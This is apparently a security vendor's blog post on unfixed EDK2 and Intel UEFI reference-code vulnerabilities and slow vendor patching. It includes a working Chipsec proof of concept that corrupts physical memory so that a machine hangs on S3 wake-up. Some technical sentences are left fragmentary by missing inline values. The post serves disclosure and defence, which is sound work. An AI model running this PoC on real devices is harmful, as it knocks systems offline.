A Fractured Ecosystem: Lingering Vulnerabilities in Reference Code is a Forever Problem
We have frequently covered the topic of supply chain problems related to reference code when silicon vendors ship vulnerable code to the entire ecosystem. These vulnerabilities typically require a significant amount of time and effort to get fixed since they impact all the vendors that incorporate the vulnerable code into the firmware on their devices.
Last year at Black Hat, the Binarly team presented “Breaking Firmware Trust From Pre-EFI:Exploiting Early Boot Phases” where we publicly discussed the massive attack surface exposed from Pre-EFI firmware components for the first time. A few weeks before our Black Hat presentation, we identified another vulnerability in the S3Resume2Pei component. However, we made the decision to not cover this new discovery in our talk, since our research team already had enough findings to share and, more importantly, we wanted to follow a responsible disclosure process. So we reported this vulnerability to the vendor PSIRT team with all of the other findings we were going to present and moved on to other research.
Fast-forward one year, as we were preparing to attend Black Hat USA 2023, we realized that this vulnerability is still unfixed. That was a bit of a shock as we glanced at the calendars and observed the raw truth about the BRLY-2023-021 vulnerability:
- 400+ days under disclosure of EDK2 reference code vulnerability with industry-wide impact at every major enterprise vendor (HP, Fujitsu, Formelife, Aaeon, Lenovo, MSI, Starlabs, Aopen, Supermicro, Acer, Compulab, HP, Intel, Samsung, and many others).
- 3+ weeks since the Binarly research team proposed a fix which
passed all the tests on Github.
BRLY-2023-021 is not the most critical vulnerability with CVSS v3.1:
6.0 (Medium). But depending on the context, denial-of-service (DoS) vulnerabilities can become very impactful on edge
devices, critical infrastructure, or medical devices. In many cases, a DoS vulnerability in the context of the impact
can be similar to disruption on the power grid or medical device, which creates serious security and reliability risks.
Just this week, NCC Group researcher Jeremy Boone showed that complex mitigation implementations
like Platform Firmware Resiliency (PFR) can
actually expand the attack surface and complexity of firmware. Despite the importance of his findings, Jeremy’s
vulnerabilities took more than 300 days to be fixed,
highlighting once again how the firmware vulnerability disclosing and patching processes are affected by endemic
A few weeks ago, CISA announced a call to action to the industry “Bolster UEFI Cybersecurity Now” and correctly defined UEFI firmware as a critical attack surface for enterprises.
Let’s dive into the details of a few supply chain security cases which show the current state of the UEFI firmware security and misalignment with “Secure by Design and PSIRT maturity”.
The One-Year Anniversary of Unfixed BRLY-2023-021 in EDK2
Binarly REsearch team, for the first time, reported BRLY-2023-021 in July
of 2022. When we originally reported another vulnerability BRLY-2022-009,
in the same S3Resume2Pei component, we realized there another vulnerability in the EDK2 reference code, and we reported
it together as a bonus bug. BRLY-2023-021 was identified as a PEI-phase denial-of-service (DoS) vulnerability in the
EDK2 codebase, which can be exploited by an attacker capable of modifying physical memory.
Let’s look into vulnerable code patterns from the EDK2 reference code. The figure below shows the vulnerable code snippet in the main EDK2 repository.
An attacker with the ability to modify physical memory is able to find and control
value. The address of AcpiS3ResumeRecord can be obtained from the FPDT ACPI table. The attacker can not modify the
AcpiS3ResumeRecord since it will be locked to mitigate the previous class of vulnerabilities with
S3BootScript and can be obtained by using the
RestoreLockBox() function. However, the attacker is still able to modify
AcpiS3ResumeRecord buffer content.
If the attacker sets
0xFFFFFFFF, after increasing this value by
ResumeCount will become
due to the
UINT32 overflow). Thus, since there is no check of the
ResumeCount value, the
DivU64x32() function will
0, which will lead to a DoS.
The BRLY-2023-021 advisory contains a PoC that allows the trigger of DoS
in the PEI phase on an Intel NUC M15 device during S3 wake-up.
The vulnerability was originally found in the S3Resume2Pei module on the Server Board M10JNP2SB:
On Intel NUC M15, the vulnerability can be found in the FirmwarePerformancePei module and the vulnerable decompiled
pseudocode can be found in the figure below.
After diving deeper to thoroughly research this attack vector, we developed a Proof of Concept (PoC) to
exploit BRLY-2023-021 and demonstrate impact since it was questionable
during the disclosure about the exploitability of this bug. The PoC code for Linux can be found in the code listing
below, representing the Chipsec-based test case.
import os import chipsec import chipsec.chipset import hexdump cs = chipsec.chipset.cs() cs.init(None, True, True) # FPDT @ 0x0000000000000000 #0000: 46 50 44 54 44 00 00 00 01 09 49 4E 54 45 4C 00 FPDTD.....INTEL. #0010: 4E 55 43 78 69 37 41 35 47 00 00 00 41 4D 49 20 NUCxi7A5G...AMI #0020: 13 00 00 01 00 00 10 01 00 00 00 00 00 40 3C 55 .............@<U #0030: 00 00 00 00 01 00 10 01 00 00 00 00 00 00 FA 54 ...............T #0040: 00 00 00 00 AcpiS3ResumeRecord = 0x54FA0000 # from FPDT ACPI Table ResumeCountOffset = 0xC cs.helper.write_physical_mem( AcpiS3ResumeRecord + ResumeCountOffset, 4, b"\xff\xff\xff\xff") hexdump.hexdump(cs.helper.read_physical_mem(AcpiS3ResumeRecord, 32)) os.system("echo deep > /sys/power/mem_sleep") os.system("rtcwake -m mem -s 3") # the system will never wake up due to a division by 0 at the PEI stage
The Binarly Transparency Platform identifies this vulnerability and protects our customers by showing additional details
and context to help understand this security problem and its implications. The figure below shows the Binarly
Transparency Platform detection and the additional context that our customers can use to effectively mitigate this
Unfortunately, supply chain security vulnerabilities in reference code components are not rare, and we routinely find
and report them. A very common problem is the way these vulnerability disclosures are handled by silicon vendors and
IBVs. Quite often, the disclosure process is quite opaque and never clear how many parties will be notified and receive
the fix. Fortunately, the Binarly Transparency Platform can keep detecting these vulnerabilities for years across the
diverse device fleets at modern enterprises.
Let’s dive into another supply chain security failure where some of the attacker models on the silicon-vendor side cannot be beneficial for the end customers and cause multiple problems to the downstream vendors.
The Overlooked Catalyst in Persistent Intel Reference Code Vulnerabilities.
Initially, we reported more than 100 vulnerabilities in December 2022. Most of these vulnerabilities were related to the misuse of Get/SetVariable() and were identified by using an unique functionality of our Binarly Transparency Platform called Deep Vulnerability Analysis. Most of these findings are connected to Intel reference code and thus impact the entire ecosystem.
We ran tests on the Dell data corpus with our new Deep Vulnerability Analysis product, and all the findings were
reported directly to Dell PSIRT. Later, we were notified about some of the bugs related to AMD (still under disclosure)
and Intel reference code. Binarly REsearch team always enjoys working with the Intel PSIRT team, but this time, the
response was disappointing. Intel decided not to fix these problems because of physical attack vector requirements and
limitations on their internal attacker model, where physical access bugs are out of scope. In response to our
vulnerability disclosure report, Intel PSIRT team replied:
This answer left us disappointed for multiple reasons:
We reported vulnerabilities BRLY-2022-014/CVE-2022-32579 and BRLY-2022-015/CVE-2022-34345 with physical attack vectors last year and they were accepted and fixed by Intel, showing that this attack vector is clearly in scope. However, the Intel patch was insufficient to actually fix the issue, and these bugs still can be exploited in certain conditions.
The reported problems will very likely be (silently) fixed by Intel without assigned CVEs, meaning that it will be difficult to get them fixed at downstream vendors who are left completely in the dark. Hopefully, this blog will create a certain level of transparency and will help to address these supply chain problems.
However, Binarly team has been working with the Dell PSIRT team to address these supply chain issues mainly for Dell devices. While these bugs have been fixed by the Dell team, many other enterprise devices from other vendors still remain vulnerable.
|BRLY ID||CVSS||Dell CVE ID||Other vendors impacted (unfixed)||Description|
|BRLY-2022-078||4.9 Medium||–||Dell||DXE Memory Content Disclosure|
|BRLY-2022-122||4.9 Medium||CVE-2023-28030||Supermicro, Msi, Lenovo, Dell, Intel, HP, Fujitsu, Acer, Starlabs||DXE Memory Content Disclosure|
|BRLY-2022-123||4.9 Medium||CVE-2023-28031||Supermicro, Msi, Lenovo, Dell, Intel, HP, Fujitsu, Acer, Starlabs||DXE Memory Content Disclosure|
|BRLY-2022-124||4.9 Medium||CVE-2023-28032||Supermicro, Dell, Intel||DXE Memory Content Disclosure|
|BRLY-2022-125||4.9 Medium||CVE-2023-28028||Supermicro, Dell, Intel||DXE Memory Content Disclosure|
|BRLY-2022-127||4.9 Medium||CVE-2023-28040||Supermicro, Dell||DXE Memory Content Disclosure|
|BRLY-2022-128||4.9 Medium||–||Supermicro, Samsung, Msi, Lenovo, Dell, Intel, HP, Fujitsu, Acer, Starlabs||DXE Memory Content Disclosure|
|BRLY-2022-129||4.9 Medium||CVE-2023-28041||Lenovo, Dell, HP||DXE Memory Content Disclosure|
We’ve spent the last few years highlighting
the massive gaps in vulnerability disclosure
with industry-wide impact. Unfortunately, not much has changed. The right initiative, like
CISA’s “Secure by Design”, is a welcome development but the reality is that the
shift-left approach will take years, even decades, for vendors to adapt to the new reality.
The award-winning Binarly Transparency Platform empowers security teams and developers to manage the growing risk of firmware-level threats and supply chain problems affecting the entire ecosystem.